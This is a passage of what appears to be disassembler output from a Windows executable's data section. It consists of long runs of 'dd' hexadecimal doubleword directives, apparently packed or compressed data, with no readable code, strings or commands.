4144871h, 0D31C5A98h dd 52FFFFE3h, 1B9BC8Fh, 6A0D5BFCh, 274D6C12h, 3E89614Fh dd 75B01334h, 7ED52FFFh, 112DDC10h, 2B16F433h, 6CB21D00h dd 7C85430Dh, 0DF4B0405h, 0B2DCFFFEh, 8CBF8D6h, 0C7E8BD8h dd 5DAFE781h, 44BC9A28h, 5E6E00Bh, 0FFFFAB7Fh, 0D809CF81h dd 2213140Eh, 0DF26C128h, 8B7FEDDDh, 89C28C55h, 0A6724835h dd 0FFFFFD5Bh, 890450A3h, 1505540Dh, 9F33EE4Ah, 844C3D58h dd 6D3F5D4Bh, 51533FB9h, 0FFFA17D0h, 7B7F59CEh, 0B6324E1Ch dd 76059C9Bh, 27924D91h, 0FFFFD965h, 6320BFDBh, 7DE78F18h dd 1B146B58h, 8559C260h, 5215A30Ch, 0F8676464h, 0E0A3B28Eh dd 0FFA5FFFFh, 0F98D2580h, 91937F08h, 986E0DDh, 59DE6173h dd 4ECBF6h, 84292279h, 0FFFFBC5Dh, 610C12ADh, 5F4DB981h dd 51590A6Ah, 0EA075050h, 140DF89h, 0FFD1BFFFh, 3003EFDFh dd 3006B965h, 1095263h, 0EBD2EDF1h, 8BECA42Eh, 4D8909EEh dd 0E97A817Dh, 156D85D4h, 97E289F1h, 852FD416h, 0BFFFFFFh dd 8363CFB4h, 0EC1871A0h, 3DEBA219h, 75B81229h, 22CC019Fh dd 0E96F9242h, 0E25E8CF6h, 0E452FFFFh, 0E963628Ah, 99A205BAh dd 0D3BF0D80h, 16FC7FBBh, 8D06E2CEh, 0FEB7FF9Bh, 6F0FD7ADh dd 104E0306h, 476C1AEh, 305E2056h, 4F03077Fh, 0FFEB7A37h dd 9BBB3612h, 7F577FCDh, 0AD666F5Fh, 1076506Eh, 0FFC5D766h dd 7E6DFFFFh, 13671870h, 777F6F7Fh, 47DFEE7Fh, 8D707FF1h dd 5BF14B6h, 8BA37549h, 0BFFFF56Fh, 682AE656h, 1C862379h dd 0CC181ADFh, 89AE83F4h, 7B5599C3h, 5BFFE2A5h, 0D65DE85Dh dd 8DCAC633h, 6C41AF5Ah, 7633F874h, 7FFF49FAh, 0A006FF83h dd 8BFE06B6h, 2BD70BD1h, 1FCECE8Bh, 2E02C77Fh, 0F13B8CDDh dd 0FF0B2B4Eh, 9CF1FF46h, 8205764Fh, 8E312A11h, 0B6A25FF8h dd 3424F77h, 0EAA5FFFEh, 17D12BD3h, 0D50AD803h, 5DC7A976h dd 6FEC39F0h, 0A5DF8217h, 8D85C1BFh, 537AA4F3h, 3575CF3Bh dd 0FFFD9C93h, 0DC25FD0Bh, 0E44A6C21h, 62921B8Ch, 3B9D681h dd 5553D10h, 0BE4F2B57h, 0BC6FFFFFh, 618D83D6h, 42F1AE5h dd 9136092Dh, 8BA5F3ADh, 758DCF9Fh, 8B5403AFh, 0DBFFFFFCh dd 259FE2C9h, 8239DDE9h, 933A05F8h, 670AA353h, 81E97E87h dd 43B7C89h, 0FE8508CDh, 6C9A6FFFh, 4A16EAD0h, 9A5F2DF9h dd 256B66EDh, 0C7711BEh, 0FFFF346Ah, 0C1AFFFFh, 0E1BFC102h dd 0C04405C3h, 3B590E6Ah, 23C01BC8h, 0AD1DEE95h, 0DFC208C3h dd 70B806BFh, 0FFFE2061h, 7C7CE05Fh, 0C748E72h, 42F856C3h dd 1FC058A5h, 88951CEh, 1058A3A9h, 0EDE8D863h, 5F305A37h dd 0C0450A28h, 0E56E60Ah, 0F02FFF8Ah, 61087597h, 1C34D16Bh dd 67497257h, 3E4AD014h, 0A21A6953h, 0FFFFC0BFh, 4DC45B82h dd 0B755EB7h, 45720577h dd 312444B0h, 0DF358AEh, 0DB39ACD7h, 0FC0BFF83h, 0C0940FDCh dd 829CA868h, 652045A5h, 0CF8296A3h, 0B7FF8D6Dh, 86B252FFh dd 8EA3B473h, 0C908EED0h, 1D096824h, 1083CF53h, 0DFFF0A1Ch dd 2929FFF8h, 57F1E01Ch, 0B3A28h, 9D0CAEBh, 0BF24AEDDh dword_40E000 dd 3C830FF0h ; .data:003E4C74o ... dd 0A6184F5h, 0FC5B1BFFh, 0B1048D1Eh, 80C2F5D4h, 0A0683826h dd 430380Fh, 0FFFFD118h, 475BE25Fh, 0CDAEA76h, 7C243D46h dd 16C436D2h, 2413CC0Eh, 0F1EB7B29h, 0E0DFB783h, 0ADCFB7Fh dd 0F2E03C74h, 85FB6BE1h, 13293E62h, 0E001CB83h, 0D2FF7B57h dd 0E2D1F0BFh, 262F5018h, 0DBB1889Fh, 0FEA1B82Fh, 7C2262A0h dd 0FFFF29DCh, 0CB5FFEDFh, 148C5FCAh, 1F509129h, 894386EFh dd 0F85239E6h, 2AC534FFh, 1018C40Dh, 0E97F5D62h, 0E83BFC1Bh dd 2082B414h, 0A26BC190h, 0E5D38870h, 52205D8Eh, 0EDFFFFFFh dd 0D4348D5Fh, 625BFA1Eh, 7DC751A1h, 9F942B6Ah, 0E08C0559h dd 180F2229h, 6CA0A4C6h, 0FFFF837Fh, 72B8514Bh, 0B708C235h dd 82C752Fh, 4590457h, 17F68E6Ch, 2EC135C4h, 0A37FC6FEh dd 9D0B6AD0h, 991A07EBh, 534024E4h, 59D40A95h, 0FFFFFFE3h dd 0D82B1C17h, 7C381683h, 1A509B0Dh, 112AACDBh, 41882455h dd 464CD36h, 497FCA07h, 2FFFFFCh, 0C279B04Ch, 8EE0FC04h dd 0D2CBC301h, 0D45CC967h, 0DC167240h, 0BFFFE8A3h, 57C52FC0h dd 62C52050h, 0FE05ECB2h, 105CBAFBh, 1F0DBFA4h, 7FFF38A1h dd 0C96BFF83h, 2C80314h, 92A689B1h, 5D0C5008h, 0BA17F402h dd 0C0887222h, 0C2F43B14h, 72C1FF1Bh, 628E69EAh, 41490C03h dd 0C12E9D10h, 0A350D30Bh, 79806FFFh, 0EFC1FC55h, 0BF5DDC95h dd 5469CFC3h, 0BFFFFFFFh, 44018CF7h, 0E40E398h, 0EF92F82h dd 0C0C1F649h, 0A2A6FAD4h, 1C8DAF34h, 1E138B31h, 0F825B76Ah dd 0BB52FFFFh, 5FC56ABh, 0C2F608B4h, 0FE02971Dh, 0C174781Bh dd 7A4A04FAh, 0FFFFFFEAh, 8B5A0C76h, 0AB7DBA0Bh, 84B954Bh dd 200F4275h, 16FF48BBh, 1973B4BFh, 0FAEBD3EDh, 0B75FFFFFh dd 21D31E02h, 0FE44B85Ch, 0FD93A809h, 802375DDh, 1CEB1921h dd 19E04A8Dh, 0F0BFFF9Ch, 0D3EB3017h, 61C1319h, 0A653DF16h dd 0D6CAB6D9h, 0FC5D045Bh, 37FF5AF4h, 0CBF86FFEh, 55D02B5h dd 93178A52h, 981D444Ah, 0E3045D75h, 0BAB9BD01h, 0F56FF897h dd 478FC22Fh, 0FBC11101h, 0ADD4A004h, 5E4B48A0h, 0FFFFFFFFh dd 6DB3DCD4h, 47DE6889h, 0D63B35F8h, 829AD940h, 3BD611EFh dd 0D55E74DAh, 0FD71B371h, 3B7E445Bh, 0FFFFFFFFh, 0BE20FB83h dd 0EED3CBDCh, 7421D6F7h, 0DF7D6F63h, 4034CAFh, 31942175h dd 0E04B8DC8h, 0DAC5B417h, 56C0BFFFh, 3FD2AD9Dh, 2D9CB245h dd 0A649AFB1h, 8040B4Eh, 0D6FFFFFFh, 0A6BC6AB9h, 0A9405BC6h dd 8DB54F6h, 0CDB58F6Fh, 2DD9EDFCh, 0D10C8DF0h, 0FDBF598Bh dd 5E24FF06h, 4AD97005h, 80B2DD7h, 8A604E88h, 14DF0D48h dd 0FC0B4D88h, 0FE0FFFFFh, 0B8845C1h, 0C2844273h, 3F0F2CB6h dd 35534A0Eh, 0BB6211B6h, 7FFF19DDh, 5D0BFFE1h, 6009A744h dd 0A58DB186h, 2556E129h, 2D748F63h, 0EABA0F63h, 9B7848Dh dd 0FFFFFFFEh, 1A37F576h, 689C901h, 0FC304489h, 7D08FFA3h dd 331668F5h, 306CA1F3h, 6F32D9D8h, 0FE0DA0FCh, 6D8DFFFFh dd 24358B94h, 0D77B409Dh, 60C160DEh, 570C4803h, 0FF5153BDh dd 5FC71FD6h, 0B78DFFFAh, 95B3236h, 8B0E0850h, 0EFB0FB40h dd 0A48320B3h, 0F8946C88h, 1500FDBFh, 0A4348FEh, 483FB4DDh dd 43798010h, 86096A7h, 5BFF0BF4h, 0D881B63Dh, 65647880h dd 129870FBh, 12BDD142h, 6FE37D2Fh, 38FC7C54h, 36E43072h dd 2BED158Bh, 146814E8h, 0FADFFC5Bh, 140D9F6Fh, 51A786ACh dd 7F7C9569h, 0E92AFF72h, 0C6FF77FDh, 2BE242FFh, 86D4476h dd 0F13F1B14h, 0A3213755h, 5BA2FF40h, 0FFFF52FCh, 0D4F6BDh dd 5649A109h, 974B34EAh, 3BD555BEh, 10303409h, 0F0BF336Bh dd 0CBB0BFFh, 377F6BE2h, 0C73B9157h, 8886D26Ch, 7F83780Dh dd 0FFFFF435h, 1958FFFFh, 0F67AA3E9h, 41C4682Fh, 0D25BE85Fh dd 893508D6h, 6AC774C5h, 416A7B04h, 0C204A0Bh, 2FFF5795h dd 5219FFFCh, 286414B4h, 6C4F1240h, 57D81FB5h, 4E839BFFh dd 6A897A41h, 420BBD1Dh, 0F4A97E95h, 56205FFh, 0B60C7AF4h dd 32925F79h, 0BFFFFFFFh, 0F910337Bh, 0D2612938h, 37A1A2Dh dd 0F95943C0h, 0C3C06912h, 39C7037Dh, 96FD3084h, 0B7FF895Ah dd 840FEDAh, 0B0776E16h, 7B4AEB02h, 0CFFB8B82h, 79D82D10h dd 0BFFFE769h, 0C79D6C4h, 60943F8Ch, 7593245h, 7000978Dh dd 78DC4B0Ah, 0E2DFFC5Bh, 58E6FA69h, 0CF2B6143h, 0C1FA0CB6h dd 10E3E25Fh, 0D2FFFFF8h, 83D2487Dh, 8D42EC88h, 0D740BE90h dd 102516D5h, 0C713EF07h, 0DFF0FC40h, 8D3712E8h, 4A6FFB9h dd 0C083AC7h, 0F552067Eh, 0D28EE97Fh, 66B86B16h, 9BE35AFBh dd 4F8D33A2h, 0BFFFF49h, 0C0B9E8FCh, 898CD97h, 9E644196h dd 8D560044h, 0BCF1F8FFh, 468A2D9Eh, 0FFC6FFFFh, 0F6C88A43h dd 0E0DE3102h, 4318A886h, 478093Eh, 0E35B5060h, 0F7EA904Dh dd 6D121D2h, 0E264F16Fh, 61BD0D5Fh, 0F5260C54h, 0BE97FF52h dd 0C7112BACh, 0CD51E40Eh, 88EAC117h, 0CA59215Bh, 0F12FFFB0h dd 4036FCFFh, 49E6B685h, 1F8BD203h, 11D8A289h, 558E2E10h dd 1C3F61Dh, 42F8006Fh, 32DDF5Eh, 0FF35145h, 0FFFF3B8Fh dd 0C1311BFFh, 0A156E0F9h, 664904C5h, 6763542h, 895DAD97h dd 5F8B07E5h, 83435FDBh, 0FFFFFFFFh, 9069EB64h, 0F8631AF9h dd 0A16C01DCh, 26906793h, 1CE0261Fh, 0B5D243BAh, 84F90DFh dd 0D0FD894Dh, 0FFF1BFFFh, 208F6C2h, 1E79097Fh, 7601CE2Bh dd 3376A274h, 7C0984A5h, 4AAEFEDDh, 0FFFFFFC1h, 4F04FFFFh dd 473FFF83h, 5FEAFC31h, 5374358h, 89FB1C74h, 963F5BAFh dd 8B5ADADh, 414B3F05h, 0FFFF4B59h, 653C56EDh, 7570059h dd 9659E413h, 1C07FFA6h, 5BBDCF13h, 0FC6E0D6Bh, 0B338FFFFh dd 1B20EB11h, 7490D8B9h, 0B4844F38h, 0A3C33616h, 1923E321h dd 0FDAE6E98h, 38DFFFFFh, 0FCD9733Fh, 468D11DBh, 5B5B1D1h dd 14104279h, 0E05B3CF8h, 6005AFF0h, 0FFFAE606h, 2FC21BFFh dd 0ADB78647h, 5929C75Bh, 364B214Eh, 0A9FC335Ch, 0F16C1CE7h dd 0FFFFFFC1h, 704E73B7h, 0D213393Fh, 0EB4301DBh, 808EF65Eh dd 0DFC1E18h, 1820B10Ah, 995A4C1Ch, 0FFFE0DFFh, 0FE4F9E49h dd 0CB911ECEh, 0E6F10E0h, 15784E4Ch, 6A6C0684h, 775776Fh dd 4BFFFA97h, 8776861h, 3896B4Fh, 0F606059h, 0B77010D1h dd 0D2FB2398h, 787CFFFFh, 4A798BF1h, 4B5F7B89h, 879A6904h dd 656D519h, 67C8CF99h, 0FFED06A4h, 0BFCE7FFFh, 0ED6039EFh dd 0FCE233Ch, 24811C99h, 56793093h, 3AA18F4Eh, 3F10B974h dd 0FFFFFFFFh, 3383FC18h, 269DCB56h, 8C34FAA1h, 36A5895Bh dd 175405CEh, 0B49AF039h, 9B874750h, 0EA209C53h, 0FFFF4776h dd 0B8D057Dh, 62CE586Dh, 0A26983EEh, 1DA3BA15h, 53FDFFA3h dd 7FFA3729h, 0A57AC7E9h, 11EBD9F1h, 6C3BC649h, 8CB75771h dd 0FB7FFE23h, 0A10FFD6h, 0D80EC383h, 46AA97A1h, 7F75D885h dd 5EC0D4E2h, 0D9D92358h, 0F0BE9789h, 0BBEB5B75h, 7B544B2Ch dd 3513A808h, 0F6E3E772h, 259C7FFFh, 931A41Bh, 76F0311Bh dd 15D452E6h, 1156578Bh, 3E8068D0h, 7FFFE8DFh, 58EF6A11h dd 0A96DEB68h, 1EC4B79h, 38D0438Bh, 4EDE3DAEh, 0D1BF89E5h dd 0A41DD5BFh, 0FFFA0FABh, 611C2E6Fh, 1F8CDCFEh, 0F85F7C8Bh dd 2344FFFFh, 6D54E14Dh, 29768FF5h, 0EAA36ACh, 5A48385Bh dd 0B90EA739h, 8B165EE0h, 0FFFEDFFFh, 41168491h, 7169E7EBh dd 0F7495DABh, 0F260474Ch, 5ACDDC0Dh, 6A545894h, 0C9335F20h dd 0DBFE2DFFh, 4771DC5Dh dd 5422C985h, 910AFCF9h, 6D8FC4F1h, 7E239C18h, 0F12FF8DFh dd 0E4F73B0Fh, 10FB984h, 4A884A01h, 0D11B105Ch, 0FC2FE969h dd 0E67DE37Fh, 373847CFh, 711CDFDAh, 5C23ECE5h, 92294488h dd 0FFE2750Fh, 26FB16FFh, 0F2EC3396h, 2CEB0B21h, 98D6263Bh dd 0C8CE245h, 0FFFFE12Dh, 0E746905Fh, 1231B95Ah, 5B212A24h dd 8B06E5B2h, 1667F822h, 2CED447Ah, 817F8ACBh, 7F7A7FFFh dd 30CB6CD3h, 8920974Ch, 0C18CE451h, 5E9734B6h, 46290B97h dd 0D5A25FFFh, 0CE6A9CBBh, 45337861h, 0EFB8C07Bh, 0FCA23B09h dd 1BFFFFD0h, 0B8D7A88Eh, 222EEE8Ch, 0F0099E0Dh, 0B647AEAAh dd 0BE16BCC9h, 0BFFFFFFFh, 9CC637FDh, 0B2114DA5h, 11F20A89h dd 0DE9DD4Ch, 3F07509h, 3212D5D1h, 0DDBF13D4h, 0FF4B4216h dd 210ED4BFh, 753E0FF1h, 611D3B1Ah, 866C588Dh, 224B6Eh dd 42FFFFF8h, 0C9466E90h, 428D36C5h, 0D8355F04h, 684091E0h dd 64766F30h, 0FF52FFF7h, 0C8982037h, 6C150A66h, 0ED808D03h dd 1AE02B32h, 316A50A1h, 0FC057E2Dh, 0A8145C31h, 0A830785Fh dd 0FF06B3B3h, 803612FFh, 54AF22D4h, 0A364DF43h, 644AC337h dd 2FED0A13h, 6E02DF5h, 945110C4h, 3DAD171Bh, 5B807553h dd 5520FF01h, 0FDAB7385h, 4C20EF06h, 0BF16F21h, 0D0A91CAFh dd 0C76DDF12h, 7BE40174h, 0F52FFFFFh, 51DB0D96h, 0CF0374CCh dd 0E1989D58h, 1596EC0Ch, 0F650C62h, 96F62897h, 0FD5BFFFFh dd 3D4B5B9Ah, 6BCB9E66h, 2A29FD09h, 307B23B5h, 6D1B628Dh dd 35CDA34h, 0A97FE02Bh, 5EB5DD0Bh, 2DBC3636h, 0A1E6DF3h dd 7FFFC2F8h, 0CD865C06h, 25BB1203h, 98141CEAh, 0E29945D7h dd 0BFEEBBF9h, 0FE02B176h, 1450050Ah, 0FFFF0186h, 458AF46Fh dd 24665957h, 0F7188696h, 0B3B01B7Bh, 0BCC34E5Bh, 88C6EBEFh dd 5FFF21F7h, 7FFAC052h, 2142D8DAh, 2660768h, 9A34BB6Ah dd 0FF80A6FFh, 8BAB2CCCh, 0B7C4AF6Dh, 18E5D3AAh, 6FE10813h dd 9FC0D7A2h, 2C35F014h, 1ECAA41Fh, 3EF9D030h, 52FFFFFEh dd 0C52C17C9h, 96C23919h, 569B0CA1h, 2B66AD3Ah, 0E9E61830h dd 8D8309F9h, 0D097FFC2h, 50AE0C80h, 52CB51A2h, 0BA8762ECh dd 0FFFF401Bh, 91D7FFFFh, 12140700h, 180214F9h, 73D75CFAh dd 0BDD0FF3Ch, 348C616h, 74D0E2C5h, 3BDB2416h, 0FFFFBAD9h dd 0F3802FFh, 283D066Ch, 0F63A89C3h, 0E6604460h, 2C151059h dd 7805BC7Bh, 0FC4B6984h, 4EE2A37Fh, 38A2E80h, 6F0BA994h dd 8EFBA950h, 0DFF5C6D9h, 0C62CFFF8h, 0A25EEF72h, 991418A1h dd 0A9F80FC8h, 0BB11F5E8h, 720CD11Fh, 0B12FFFF0h, 781A000h dd 0CE3BF57Eh, 0CC13A0C2h, 1055D055h, 897F6298h, 16386FEDh dd 5DA12758h, 0AE2DD245h, 314F1CD1h, 0FFFE9C94h, 0C636FFFFh dd 59749539h, 0DBC52378h, 3B08928Bh, 5D6D0C0h, 681A1E43h dd 0DF0B4BD0h, 6F01DE1Bh, 0D4BFFF13h, 68BDA2ADh, 0A5F4685Eh dd 0EF7025CDh, 754B61C1h, 1BFF2F54h, 4FD1FFFDh, 4F68EC7Dh dd 0AB9C11A2h, 0C62FECBEh, 607DB342h, 73595F8Fh, 0FF81FF0Fh dd 72F7FFEDh, 0DD468F1h, 0E58A0DECh, 0C6A071Bh, 5454AA8Dh dd 0EE267BD6h, 7FD6FFFCh, 399215F6h, 4D154808h, 0FC0C5A5Bh dd 0BDF556BBh, 881D392Fh, 6FB77EC1h, 85730A15h, 10E6059Dh dd 2B2DD0A2h, 0FF4BFFFFh, 0D60B9045h, 0D7E8EC8h, 0C4643036h dd 237EEFB2h, 0D3E066DAh, 0EE832674h, 0FFFF0A04h, 753BFB7Fh dd 0B8F872E4h, 742A1B82h, 33223E79h, 8ADD9B7Dh, 2C57E58Dh dd 68DAEBAFh, 0FFFF4920h, 9FBEFFFFh, 14B8EBDCh, 685933E2h dd 6B240F28h, 91049381h, 103E3D63h, 210D4769h, 97892876h dd 0FFA540FFh, 3F19FFFFh, 0B02C82D7h, 1808741Eh, 209388ACh dd 2E5400BCh, 623C7BA4h, 0A2107C70h, 0FFFFF52Fh, 0F6072036h dd 56010E23h, 447DFBB4h, 0B78AD52Dh, 0BC09305h, 67F3E7FBh dd 0FADF4BFFh, 9F3A9F6Ch, 0CA89C730h, 15B0750Bh, 0C2736768h dd 0A3A4C572h, 0E2DFFF89h, 0AC00957Ch, 860CAFC4h, 0BB432BBBh dd 0A8FD1C84h, 0AADF7014h, 0B0CD7FD4h, 177047C1h, 0E84604B1h dd 0BBB50A08h, 0FFF5BFFFh, 35036A55h, 2ECF8AA2h, 0E236E608h dd 5A631083h, 0D854A21h, 18ED0FD8h, 85DB144Eh, 0BF8EFDBEh dd 0FCFB81DBh, 2C5A0150h, 0BBE70337h, 0FFFF5E43h, 0D7D1FFFFh dd 1E90BD70h, 9C253355h, 230B000Fh, 0E5BE05ABh, 0A9B906F8h dd 5C68C23h, 0B52873ADh, 0FD6F9D6Bh, 1E6CFFFFh, 475A2634h dd 1400FB68h, 41A85730h, 0B7B0EAAFh, 4300507Ah, 2ECC2FE2h dd 0FFFFF8B7h, 0C3A340B4h, 0ED0C3876h, 0BBC6033Bh, 0AA6EA346h dd 735EA4B9h, 0EEB58944h, 0FFFFEA5Eh, 0A1B200F4h, 0F4114211h dd 8480392Bh, 2706E686h, 10C807E1h, 0FF01A1AAh, 75A5F46Fh dd 6C23ACFDh, 29219966h, 0A86E0120h, 0CFD5376Dh, 0FFFFFFFFh dd 0BB449F23h, 0CFF46A33h, 44AD8530h, 1BE8203Dh, 9EEDFDC1h dd 20B5043Dh, 508DA6E9h, 0B00036FFh, 0FFFFFFFFh, 8D1AACDh dd 1CB82555h, 575DB18Ch, 906B7A53h, 1574E101h, 0AA751F76h dd 4388CB78h, 0B909A671h, 0FFFFF8B7h, 0F3D58DF4h, 0C3F9A314h dd 0F875A40Bh, 6F053D66h, 40ACB0Fh, 0B0A85690h, 0FFFFE2DFh dd 0DADA6204h, 0C667CA0h, 8A6EF79h, 84E833DFh, 26599035h dd 0CF3D2004h, 0FFD1BE97h, 40303CF3h, 3706050h, 0D0270D06h dd 1950103Ch, 0FC14567Eh, 0C19612ADh, 202D03F1h, 4143983Ch dd 0DAD82FA3h, 7F07A03Bh, 837FFFDAh, 0E3659BFFh, 8AB7402Bh dd 45B12A56h, 335B1703h, 79C2D9B1h, 8EF853A4h, 5A378287h dd 0AAF35DCCh, 50DCFDAh, 0F058FFFFh, 6B940816h, 32F059D0h dd 15077335h, 5BC75DBEh, 0FFFA37FFh, 833A660Ah, 0B35F21B8h dd 3828588Eh, 0FA5AC181h, 950FDFF1h, 0A937ADC0h, 0FFFFFFFCh dd 320409DEh, 6AC40057h, 5301AA10h, 28938DDh, 2D85240Bh dd 658B9AEDh, 95AFC6Bh, 5BFFA6E4h, 7665BFFh, 671FB2F5h dd 53109363h, 6690EAB1h, 0A0268C38h, 0FC406B9Ch, 6DB3A5A5h dd 0F3FDA85h, 0ACB4E8C9h, 77FFFFFFh, 0B85858D7h, 81711BA2h dd 0C5968EECh, 938B7A76h, 5A48589h, 0F8AF8806h, 0D1277295h dd 0FF897FFFh, 33809505h, 0B6DFB9B9h, 74963C7Ch, 0A0958C66h dd 948D060Fh, 1DB972FEh, 0B7FFFFFFh, 6C45F05Dh, 646D6865h dd 98858F9Ch, 2FD1F7B6h, 0ABACB5F5h, 9C4B0585h, 66C6B7BFh dd 0FC6A17FFh, 1B3D8B1h, 3005B589h, 0DB151F0Ah, 8C17506Ah dd 2FFF80FDh, 6D4AFFF0h, 0F9021173h, 5D0EC0Ah, 0D88E5D6Dh dd 0FB802E53h, 668C72C0h, 0FC2FCD73h, 12B6FF85h, 6A4CD4D4h dd 214809D6h, 0D0226D00h, 0AE1B0h, 0F101E32Fh, 4756FFFFh dd 33A1D0A2h, 1A342BDBh, 0A3C2140h, 0EFE247B9h, 0BA37D08Dh dd 0D262BFC0h, 0DA8C581h, 86D1903Fh, 0FF5D98B3h, 0FFFFFFD4h dd 800EF2E0h, 67A24561h, 68A42D76h, 74FF6C1Bh, 4E88322h dd 0D041774h, 0FFFF4845h, 0AD1CBFFFh, 0B8C9EC41h, 12059204h dd 0B3CE956Dh, 0AF11080Bh, 7EC4BDE2h, 0F05248E1h, 5E8D7555h dd 85FE85F0h, 7DD5FC1Ch, 0EA16B65Bh, 8D3BC702h, 0FF52107Eh dd 0FFBA2E97h, 60B8475Fh, 2B0CAE63h, 180C8AC6h, 0FFFFFFAFh dd 754D43FFh, 1D8E8DF7h, 0C027150Dh, 11ECA638h, 0DA8708E7h dd 15134E41h, 42FB64A3h, 1CC80DC1h, 0FFEA85F4h, 0F1709805h dd 8591BC06h, 967684CBh, 0FEE83EBFh, 6FDA8DFFh, 16EF17BEh dd 31188488h, 0DC1BA16Fh, 0C4F4723Ah, 0FFFC4BFFh, 85A7848Ah dd 0B7FD6E0Fh, 2B7420FFh dd 0B6A45D8Dh, 3B0302C8h, 2B1677C8h, 0FFF06F5Bh, 941E40C1h dd 68A2430Dh, 0B13A1AF5h, 43F00670h, 6F8D43FCh, 0D8D3D5BCh dd 75AC6058h, 50649822h, 0FFC6516Dh, 46B9FFFFh, 0A426C1C0h dd 0A0172B90h, 15C1AC9Bh, 571E5750h, 19035331h, 44A524ECh dd 6FFFFFEAh, 0C06DEDF8h, 242424DCh, 4CB70FABh, 0A8035463h dd 791C9040h, 0E1BF7EDEh, 37EA101Dh, 8C8AF16Eh, 12755305h dd 0DE20D502h, 0FFDDC3ADh, 78DA5FFFh, 0C6352E8Ch, 1D8A0884h dd 0C1DECFEFh, 868D4DEBh, 0FF9F320Dh, 7E0AB1B7h, 0BAD4FFE1h dd 0A508295Ah, 150EBB80h, 3C637DEh, 0C0205A50h, 21DFFFFFh dd 0E5C0C77h, 20C280D1h, 28B6D9E6h, 0E10FAA2h, 696DE020h dd 0FFFFEAABh, 55A7BFFFh, 3B412BC6h, 0A1E364CFh, 5D30B8D1h dd 265B315Fh, 9C1CE897h, 4848C804h, 8F5B047h, 0FFEA556Fh dd 98A16DCFh, 0ADFC546Eh, 0DE1D7494h, 68773E6Bh, 85FFFF6Fh dd 8B319121h, 0C9821120h, 6AE00125h, 0C222230Dh, 3B28DA85h dd 0D5BEDD35h, 2D36FFFFh, 93E3F014h, 58C8568Dh, 19FE810Fh dd 0FEC50774h, 24A1C2C1h, 0FFF8DF89h, 2D8B0DB7h, 0CE9925FAh dd 0FB542A36h, 8EEB3F6Bh, 0DB79D3C3h, 17FF0D0Dh, 9953FE0Ah dd 23078B6h, 0B038A47Dh, 3BDE1DB1h, 0C71E75E7h, 0FFFFFFFFh dd 46350705h, 0F5A08C60h, 0FCFCD001h, 0D5AC0E63h, 283CEBF6h dd 5C22D8FDh, 29AD957Ah, 0FC16DBADh, 0FFFFFFB7h, 97BC11F8h dd 0EB1C29B5h, 20C63BC4h, 0F806B3C1h, 9F20D6C6h, 1B60B446h dd 0B4BC4CA0h, 0C4BFFFFFh, 579EA08Eh, 3BAE48A5h, 0B6BE088h dd 0C34F470Ah, 8DDCC5F7h, 6D389F72h, 0FFFFFFFFh, 0B82DD48Ch dd 5BEEDF90h, 91B836F5h, 30C0D677h, 0B20AF03Dh, 72ED8FB9h dd 0FDE381E7h, 0B7466D1h, 0FA97FFD1h, 0FC2C8BE9h, 0C7B7E431h dd 11643550h, 66047521h, 0FFFF1A48h, 0ACF3BFFFh, 1A8B67BFh dd 43170129h, 175B561Ch, 33F8E894h, 39D842D2h, 0DD5FFC2Fh dd 0C737C07h, 0FFFFFFFFh, 0EDF8860Fh, 85CF52EEh, 608F8875h dd 0E8AEFFBh, 0C20CC984h, 215546EEh, 0C98336FBh, 134641A1h dd 0FFFDBD5Bh, 17AEE86Eh, 30C96B46h, 0A0B18DE3h, 0F03F6897h dd 16242AEBh, 0FFFF8B7Fh, 23E3428h, 3437BBDDh, 8AE030D4h dd 81C8C80h, 14DBC44h, 0A1707510h, 0FFFFFEDFh, 0EA76FE47h dd 6A344647h, 0D1F13C33h, 3DE0E8B3h, 0AD4777h, 972A8DC2h dd 0FF6F97C7h, 0FFFFC6FFh, 43C770E1h, 96205E08h, 4389066Ah dd 8D10770Ch, 0BBCCDB89h, 665A4794h, 0A2B7318Bh, 6641FFFFh dd 40413089h, 0F3754A40h, 6922F38Bh, 0F9759F1Ah, 0FFFFF26Bh dd 3C3FFFFh, 0C106041Dh, 7E5BF676h, 534737Bh, 381B34E5h dd 0E0FEB91Eh, 0F8968A95h, 2C400808h, 0FFFF6CF9h, 68D0FFFFh dd 52548B91h, 0EA50EA63h, 800B5D3h, 0B2EB7B8Ch, 0D1C0EB2h dd 54CDD7E8h, 0AB46188Bh, 0FAB7CA01h, 0FC79FFFFh, 0EE43F182h dd 686814F6h, 0FFE04D83h, 3440FCFAh, 6B8CE928h, 0E2DFD668h dd 4608FFFFh, 89E4E530h, 99466787h, 577C859Eh, 41B2C020h dd 142BE9B3h, 2FFFB946h, 440AFFFCh, 52E9BFh, 0A5F3FB8Bh dd 44BF2383h, 2838CDB2h, 4F5B49E2h, 27FC6AD1h, 0FFF1BFFFh dd 13681CDCh, 2ADE9393h, 3D6846C2h, 69F6EDE6h, 685E89E3h dd 0FF073D5Ch, 0FFFFF3D7h, 270FFFFh, 4E296536h, 5F6EA9Bh dd 33DD6B8Bh, 70484C1Bh, 7C0ED43h, 791F51E3h, 0CC4A308h dd 7FF5C8A3h, 6F75D681h, 0F8B50F5Ah, 4C5A3C05h, 0DD8C3F66h dd 6EADFE25h, 6E450C7Bh, 19E8EB40h, 0B17DF63Dh, 0FAB7FFFFh dd 0FEF939D7h, 8888264Ch, 0E9186580h, 3E91A300h, 5C1857B7h dd 0E666881Bh, 0FFD4BFFFh, 2C86A3FFh, 13B664D2h, 5F3AB8BBh dd 0F513F6D2h, 0FC6EBFD7h, 1ABC30EBh, 897A5FFFh, 25EBFF35h dd 580E38DEh, 5335CE4Ch, 4104EB35h, 0C6FC72CCh, 0D0DCFFFFh dd 565B00E0h, 0B3EEF9DCh, 0FD6A8E92h, 599B6D10h, 0D169584h dd 0F12FE078h, 93A6E2Dh, 0EFFFD3FEh, 3B0ABC86h, 0DFFF57C5h dd 6F74FDBAh, 596B483Dh, 21E6B0CBh, 5E74119Bh, 5A752839h dd 2B17B80Dh, 16FFFE37h, 0AB13B371h, 9C35B6FFh, 0AF20A0A6h dd 8C648195h, 0FFFF4F0Ch, 0E4E6FFFFh, 2D386179h, 6D44C011h dd 40B668F6h, 952DC40Dh, 0EC3B1043h, 0CFCC9908h, 0D012C72Bh dd 0FFFF220Dh, 0D218FE97h, 0EBC04C2Dh, 0BEB54D5Ch, 3D071ED4h dd 0A88B6388h, 0AFF60A95h, 0A42A33C0h, 0FFFFFFFFh, 7337FFD0h dd 512FF736h, 5B506336h, 88F87F81h, 7502568h, 0E9821EB5h dd 39840B7Eh, 50DCB86Fh, 0FAD16FFFh, 479E2EC8h, 0C9D3D604h dd 8227087h, 573F7877h, 0FFC084D4h, 19C2FFD6h, 35B5566Ah dd 0DBE40E40h, 0B80C5066h, 